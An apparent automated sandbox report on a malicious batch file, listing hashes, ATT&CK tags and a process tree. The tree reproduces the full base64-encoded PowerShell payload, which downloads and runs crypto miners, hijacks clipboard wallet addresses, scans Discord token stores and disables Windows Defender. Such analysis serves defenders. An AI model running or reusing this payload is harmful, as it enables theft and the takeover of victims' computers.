ae59608ad896b0514c649cc1528175aab9c0516910d2881148d0dc0065ae9505

General

Target
temp.bat
Size 4KB
Sample260812-chek3saa49
SHA256 ae59608ad896b0514c649cc1528175aab9c0516910d2881148d0dc0065ae9505
MD5 99a6b52fb310d775f48faf989a82cb52
SHA1 050da12890be97b2aff80ff9743fa85ec7d6d67c
SHA512 226e507495922964e585022b83aad21520beaa7a65cd9592ae8a97e736b0dadcd9a0ec50ad561720340d5797811db4ba5eae27c5ca32ed1a8ee0ebebdaff00c1
SSDEEP 96:v2NX8F4NUbdShMkRRfl8I2kf914N8HzcCDKumsaNcTyu+3Z:OF8F4Gb4hMERt2kf914hIKumXcpGZ
TLSH
T16291D07D8E74FCC4037D3250CC692D4B31B46B57DBB28A68DD5219AA3C28745DF2A68C
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4840	powershell.exe

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2568	cmd.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4840	powershell.exe
4840	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4840	powershell.exe

Suspicious use of WriteProcessMemory 1 IoCs

description	pid	Process	procid_target
PID 2568 wrote to memory of 4840	2568	cmd.exe	86

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\temp.bat"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2568
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "JABiAHQAYwA9ACcAYgBjADEAcQBmADQAbgB0AHAAawBoAG4AOABhAHQAcgBkAGQAZAA2AGYAeAA0AHIANgBmAGMANgBmAHEAYQAzAGoANABuAG0AMgAwAHMAcwAzADMAJwA7ACQAcwBvAGwAPQAnAEcAcgBXAHYANQB3ADQAVgBlAEUAeQBxAGQAdQBXAEIAbgB5AFgAdQBZAHoAOQBLAFQAbQBNAFUAagB6AEYAYgBvADcAMgBMAEUARwA3AHIAcwBHADIAMgAnADsAJAB3AD0AJwBoAHQAdABwAHMAOgAvAC8AZABpAHMAYwBvAHIAZAAuAGMAbwBtAC8AYQBwAGkALwB3AGUAYgBoAG8AbwBrAHMALwAxADUAMwA2ADUAMQAxADMANQAwADIANAA5ADAANwAzADkALwA5AGcANAAxAGcAbQBzAGwAUQBNAEUAdQBJAHIASgBRAFgAbwA5AFIAQgBjAEMAdwBpAGcAbwBCAGYAWQB2AGMARABwAGcAZgBCAGUAdABnAEsAeAA4ADAAOQBFAGoAZwBsAC0ARwBkAEgALQAtAFMAXwBpAEgAbgBSADYALQAtAEMANQA3AG8AJwA7ACQAdQA9ACcAaAB0AHQAcABzADoALwAvAHkAbwB1AHIALQBzAGUAcgB2AGUAcgAuAGMAbwBtAC8AcwBwAG8AbwBmAGUAcgAuAGUAeABlACcAOwBpAGUAeAAgACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcABzADoALwAvAGcAaQB0AGgAdQBiAC4AYwBvAG0ALwB4AG0AcgBpAGcALwB4AG0AcgBpAGcALwByAGUAbABlAGEAcwBlAHMALwBkAG8AdwBuAGwAbwBhAGQALwB2ADYALgAyADIALgAwAC8AeABtAHIAaQBnAC0ANgAuADIALgAwAC0AbQBzAHYAYwAtAHcAaQBuADYANAAuAHoAaQBwACcAKQA7AGUAeABwAGEAbgBkAC0AYQByAGMAaABpAHYAZQAgACQAZQBuAHYAOgBUAEUATQBQAFwAeABtAHIAaQBnAC4AegBpAHAAIAAtAGQAZQBzAHQAaQBuAGEAdABpAG8AbgBQAGEAdABoACAAJABlAG4AdgA6AFQARQBNAFAAOwAkAHAAcgBvAGMAIAA9ACAAcwB0AGEAcgB0ACAAJABlAG4AdgA6AFQARQBNAFAAXAB4AG0AcgBpAGcALgBlAHgAZQAgAC0AbwAgAHMAdAByAGEAdAB1AG0ALgB6AGUAcgBnAHAAbwBvAGwALgBjAG8AbQA6ADQAMgA0ADIAIAAtAHUAIAAkAGIAdABjACAALQBwACAAYwA9AEIAVABDACwAbQBjAD0AWABNAFIASgAgAC0ALQB0AGgAcgBlAGEAZABzACAAYQB1AHQAbwA7ACQAYwA9AGcAZQB0AC0AYwBsAGkAcABiAG8AYQByAGQAOwBpAGYAKAAkAGMAIAAtAG0AYQB0AGMAaAAgACcAYgBjADEAWwAxADMAXQB7ADIANQAuAC4ANQA5AH0AJwApAHsAcwBlAHQALQBjAGwAaQBwAGIAbwBhAHIAZAAgACQAYgB0AGMAfQBlAGwAcwBlAGkAZgAoACQAYwAgAC0AbQBhAHQAYwBoACAAJwBeAFsAMQAtADkAQQAtAEgASgAtAE4AUAAtAFoAYQAtAGsAbQB6AF0AewAzADIALgAuADQANAB9ACcAKQB7AHMAZQB0AC0AYwBsAGkAcABiAG8AYQByAGQAIAAkAHMAbwBsAH0AOwAkAHAAYQB0AGgAcwA9AEAAKAAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQBcAEQAaQBzAGMAbwByAGQAXABMAG8AYwBhAGwAIABTAHQAbwByAGEAZwBlAFwAbABlAHYAZQBsAGQAYgAsACQAZQBuAHYAOgBBAFAAUABEAEEAVABBAFwARABpAHMAYwBvAHIAZABDAGEAbgBhAHIAeQBcAEwAbwBjAGEAbAAgAFMAdABvAHIAYQBnAGUAXABsAGUAdgBlAGwAZABiACwAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXABEAGkAcwBjAG8AcgBkAFAAVABCAFwATABvAGMAYQBsACAAUwB0AG8AcgBhAGcAZQBcAGwAZQB2AGUAbABkAGIAJwApADsAZgBvAHIAZQBhAGMAaAAoACQAcAAgAGkAbgAgACQAcABhAHQAaABzACkAewBpAGYAIAAoAHQAZQBzAHQALQBwAGEAdABoACAAJABwACkAewAkAHQAPQBnAGUAdAAtAGMAaABpAGwAZABpAHQAZQBtACAAJABwACAALQBmAGkAbAB0AGUAcgAgACcALgBsAG8AZwAnAHwAJQB7ACQAYwA9AGcAZQB0AC0AYwBvAG4AdABlAG4AdAAgACQAXwAuAGYAdQBsAGwAbgBhAG0AZQA7ACQAYwAgAHwAIABzAGUAbABlAGMAdAAtAHMAdAByAGkAbgBnACAALQBwAGEAdAB0AGUAcgBuACAAJwBbAGEALQB6AEEALQBaADAAJQB6AGEAWgAtAEEALQBJAEcALQBZADgALQBFAC0ATAA5AH0AewAyADQAfQAuAFsAYQB6AEEALQBaADAAACUAIQBAACQAXgAmACoAKAApAF8ALQBfAH0AewAyADQAfQAuAFsAYQB6AEEALQBaADAAJQB6AGEAWgAtAEEALQBvAEEALQBKAC0ARgAxAC0AegBeAGwALQB5ADAAJQAtAF0AewAxADAALAA2ADQAfQAnACkAfQB9AH0AOwBpAGUAeAAgACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcABzADoALwAvAGcAaQB0AGgAdQBiAC4AYwBvAG0ALwB0AHIAZQB4AG0AaQBuAGUAcgAvAFQALQBSAGUAeAAvAHIAZQBsAGUAYQBzAGUAcwAvAGQAbwB3AG4AbABvAGEAZAAvADAALgAyADYALgA4AC8AdAAtAHIAZQB4AC0AMAAuADIANgAuADgALQB3AGkAbgAtAGMAdQBkAGEAMQAxAC4AOAAuAHoAaQBwACcAKQB8AGUAeABwAGEAbgBkAC0AYQByAGMAaABpAHYAZQAgACQAZQBuAHYAOgBUAEUATQBQAFwAZwBwAHUALgB6AGkAcAAgAC0AZABlAHMAdABpAG4AYQB0AGkAbwBuAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABFAE0AUAA7AHMAdABhAHIAdAAgACQAZQBuAHYAOgBUAEUATQBQAFwAdAAtAHIAZQB4AC4AZQB4AGUAIAAtAGMAIAAkAGUAbgB2ADoAVABFAE0AUABcAGcAcAB1AC4AZABhAHQAIAAgAC0ALQBwACAAMQAkADsAcwB0AGEAcgB0AC0AcwBsAGUAZQBwACAAMQAwADsAcgBtAGQAaQByACAAJABlAG4AdgA6AFQARQBNAFAAXAB4AG0AcgBpAGcAIAAtAHIAZQAgAC0AZgBvAHIAYwBlADsAZABlAGwAIAAkAGUAbgB2ADoAVABFAE0AUABcAHgAbQByAGkAZwAuAHoAaQBwADsAZABlAGwAIAAkAGUAbgB2ADoAVABFAE0AUABcAGcAcAB1AC4AegBpAHAAOwBkAGUAbAAgACQAZQBuAHYAOgBUAEUATQBQAFwAdAAtAHIAZQB4AC4AZQB4AGUAOwBkAGUAbAAgACQAZQBuAHYAOgBUAEUATQBQAFwAZwBwAHUALgBkAGEAdAA7AHIAZQBnAGEAZABkACAAJwBIAEsATABNAFwAUwBPAEYAVABXAEEAUgBFAFwAUABvAGwAaQBjAGkAZQBzAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzACAARABlAGYAZQBuAGQAZQByACcAIAAtAHYAIABEAGkAcwBhAGIAbABlAFIAZQBhAGwAdABpAG0AZQBNAG8AbgBpAHQAbwByAGkAbgBnACAALQB0ACAAUgBFAEcAXwBEAEkAUgAgACAALwBmACAALwB2ACAAMQAgAD4AbgB1AGwAIAAyAD4AJgAxADsAcwBjACAAcwB0AG8AcAAgAFcAaQBuAEQAZQBmAGUAbgBkACAAPgBuAHUAbAAgADIAPgAmADEALAAiAA=="
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4840

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

PowerShell

1

T1059.001

Windows Command Shell

1

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

__PSScriptPolicyTest_fz2t2lus.faq.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fz2t2lus.faq.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads